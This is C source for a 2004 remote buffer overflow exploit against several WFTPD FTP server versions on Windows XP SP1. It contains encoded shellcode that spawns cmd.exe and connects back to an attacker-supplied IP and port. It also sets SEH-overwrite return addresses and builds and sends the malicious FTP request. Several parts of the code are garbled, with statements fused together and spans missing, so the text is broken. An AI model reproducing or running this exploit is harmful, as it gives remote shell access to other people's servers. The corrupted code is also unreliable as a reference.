/*
* WFTPD buffer overflow exploit, (c) axl 2004,
* Discovered by the very same guy :p
*
* Tested WFTPD versions:
*
* - WFTPD Pro Server 3.21 Release 1 (trial) (latest version)
* - WFTPD Pro Server 3.20 Release 2 (trial)
* - WFTPD Server 3.21 Release 1 (trial) (latest version)
* - WFTPD Server 3.10 Release 1 (trial)
*
* Tested exploit with these remote operating systems:
*
* - Windows XP Pro, SP1
*
* Should be very easy to support other Windows OSes. You may only have
* to update ret_addr.
*/
#include
#pragma comment(lib, "ws2_32.lib")
#include
#include
#define MAXLINE 0x1000
//#define OLDCODE // Try not to uncomment this...
#ifdef OLDCODE
static char* ret_addr = "\xAC\x9C\xEC\x77";
// kernel32.dll 5.1.2600.1106, (WinXP Pro SP1, EN) => pop reg / pop reg / ret
#else
/* See the comment in exploit() for the reasons I chose this address */
static char* ret_addr = "\x5B\xC0\xEB\x77";
// kernel32.dll 5.1.2600.1106, (WinXP Pro SP1, EN) => pop reg / pop reg / ret
#endif
const unsigned int shlc_offs_enckey = 0x00000025;
const unsigned int shlc_offs_encstart = 0x0000002B;
const unsigned int shlc_offs_encend = 0x000001B8;
unsigned char shlc_code[] =
"\xEB\x16\x78\x56\x34\x12\x78\x56\x34\x12\x78\x56\x34\x12\x78\x56"
"\x34\x12\x5B\x53\x83\xEB\x1D\xC3\xE8\xF5\xFF\xFF\xFF\x33\xC9\xB1"
"\x64\x81\x74\x8B\x27\x55\x55\x55\x55\xE2\xF6\xFC\x8B\x43\x0A\x31"
"\x43\x02\x8B\x43\x0E\x31\x43\x06\x89\x4B\x0A\x89\x4B\x0E\x64\x8B"
"\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\xAD\x8B\x68\x08\x8D"
"\x83\x67\x01\x00\x00\x55\xE8\xB7\x00\x00\x00\x68\x33\x32\x00\x00"
"\x68\x77\x73\x32\x5F\x54\xFF\xD0\x96\x8D\x83\x74\x01\x00\x00\x56"
"\xE8\x9D\x00\x00\x00\x81\xEC\x90\x01\x00\x00\x54\x68\x01\x01\x00"
"\x00\xFF\xD0\x8D\x83\x7F\x01\x00\x00\x56\xE8\x83\x00\x00\x00\x33"
"\xC9\x51\x51\x51\x6A\x06\x6A\x01\x6A\x02\xFF\xD0\x97\x8D\x83\x8A"
"\x01\x00\x00\x56\xE8\x69\x00\x00\x00\x33\xC9\x51\x51\x51\x51\x6A"
"\x10\x8D\x4B\x02\x51\x57\xFF\xD0\xB9\x54\x00\x00\x00\x2B\xE1\x88"
"\x6C\x0C\xFF\xE2\xFA\xC6\x44\x24\x10\x44\x41\x88\x4C\x24\x3C\x88"
"\x4C\x24\x3D\x89\x7C\x24\x48\x89\x7C\x24\x4C\x89\x7C\x24\x50\x49"
"\x8D\x44\x24\x10\x54\x50\x51\x51\x51\x6A\x01\x51\x51\x8D\x83\xA4"
"\x01\x00\x00\x50\x51\x8D\x83\x95\x01\x00\x00\x55\xE8\x11\x00\x00"
"\x00\x59\xFF\xD0\x8D\x83\xAC\x01\x00\x00\x55\xE8\x02\x00\x00\x00"
"\xFF\xD0\x60\x8B\x7C\x24\x24\x8D\x6F\x78\x03\x6F\x3C\x8B\x6D\x00"
"\x03\xEF\x83\xC9\xFF\x41\x3B\x4D\x18\x72\x0B\x64\x89\x0D\x00\x00"
"\x00\x00\x8B\xE1\xFF\xE4\x8B\x5D\x20\x03\xDF\x8B\x1C\x8B\x03\xDF"
"\x8B\x74\x24\x1C\xAC\x38\x03\x75\xDC\x43\x84\xC0\x75\xF6\x8B\x5D"
"\x24\x03\xDF\x0F\xB7\x0C\x4B\x8B\x5D\x1C\x03\xDF\x8B\x0C\x8B\x03"
"\xCF\x89\x4C\x24\x1C\x61\xC3\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61"
"\x72\x79\x41\x00\x57\x53\x41\x53\x74\x61\x72\x74\x75\x70\x00\x57"
"\x53\x41\x53\x6F\x63\x6B\x65\x74\x41\x00\x57\x53\x41\x43\x6F\x6E"
"\x6E\x65\x63\x74\x00\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63\x65"
"\x73\x73\x41\x00\x63\x6D\x64\x2E\x65\x78\x65\x00\x45\x78\x69\x74"
"\x50\x72\x6F\x63\x65\x73\x73\x00";
static char inbuf[MAXLINE];
static unsigned inoffs = 0;
const WFTPD_PRO_321_TRIAL = 0; // WFTPD Pro Server 3.21 Release 1 (trial)
const WFTPD_PRO_320_TRIAL = 1; // WFTPD Pro Server 3.20 Release 2 (trial)
const WFTPD_321_TRIAL = 2; // WFTPD Server 3.21 Release 1 (trial)
const WFTPD_310_TRIAL = 3; // WFTPD Server 3.10 Release 1 (trial)
int ftpver = WFTPD_PRO_321_TRIAL;
int isrd(SOCKET s)
{
fd_set r;
FD_ZERO(&r);
FD_SET(s, &r);
timeval t = {0, 0};
int ret = select(1, &r, NULL, NULL, &t);
if (ret = sizeof(inbuf))
{
printf("[-] Too long line\n");
return 0;
}
int len = recv(s, &inbuf[inoffs], sizeof(inbuf) - inoffs, 0);
if (len = len)
{
printf("[-] Too small caller buffer\n");
return 0;
}
memcpy(string, inbuf, nlidx);
string[nlidx] = 0;
if (nlidx > 0 && string[nlidx-1] == '\r')
string[nlidx-1] = 0;
if (nlidx + 1 >= inoffs)
inoffs = 0;
else
{
memcpy(inbuf, &inbuf[nlidx+1], inoffs - (nlidx + 1));
inoffs -= nlidx + 1;
}
return 1;
}
int ignorerd(SOCKET s)
{
inoffs = 0;
while (1)
{
if (!isrd(s))
return 1;
if (recv(s, inbuf, sizeof(inbuf), 0) dstlen || dstoffs + srclen > 8);
shellcode[4] = (char)(sport >> 8);
shellcode[5] = (char)sport;
shellcode[6] = (char)(sip >> 24);
shellcode[7] = (char)(sip >> 16);
shellcode[8] = (char)(sip >> 8);
shellcode[9] = (char)sip;
for (int i = 0; i POP REG / POP REG / RET. This is the exception handler
* the older versions will execute. WFTPD Pro Server 3.21 will instead execute the
* instructions with the bytes in that same address. In this case, it'll execute these
* instructions:
* 5B POP EBX
* C0EB 77 SHR BL,77
* 5B POP EBX
* C0EB 77 SHR BL,77
* EB 1E JMP SHORT ourcode
*/
if (!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), "-WFTPD_EXPLOIT_BY_AXL_(C)_2004-", 31) || // 31-byte string
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), "\x90\x90\xEB\x28", 4) || // old fs:[0] OR cookie (p321)
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), ret_addr, 4) || // exception handler OR old fs:[0] (p321)
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), ret_addr, 4) || // trylevel OR exception handler (p321)
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), "\xEB\x1E\xFE\xFF", 4) || // (p321)
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) ||
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) ||
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) ||
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) ||
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) ||
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) ||
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4))
__leave;
break;
#endif
}
if (!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), shellcode, sizeof(shlc_code)-1) || // our code
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), " \r\n", 3)) // req + end of line
__leave;
if (!check_invd_bytes("shellcode", shellcode, sizeof(shlc_code)-1) ||
!check_invd_bytes("ret_addr", ret_addr, sizeof(ret_addr)-1) ||
!check_invd_bytes("sndbuf", sndbuf+5, sndbufidx-3-5))
__leave;
in_addr a; a.s_addr = htonl(sip);
printf("[+] Sending shellcode which will connect to %s:%u...\n", inet_ntoa(a), sport);
if (!sendb(s, sndbuf, sndbufidx, 0))
{
printf("[-] Failed to send shellcode\n");
__leave;
}
printf("[+] Shellcode sent successfully\n");
ret = 1;
}
__finally
{
delete shellcode;
}
if (ret == 0)
printf("[-] Can't exploit the vulnerability\n");
return ret;
}
int login(SOCKET s, const char* username, const char* userpass)
{
printf("[+] Logging in...\n");
int code;
if (!ignorerd(s) || !sends(s, "USER ", 0) || !sends(s, username, 0) ||
!sends(s, "\r\n", 0) || (code = get_reply_code(s)) [-u username] [-p userpass] [-v ]\n", pname);
exit(1);
}
int main(int argc, char** argv)
{
printf("WFTPD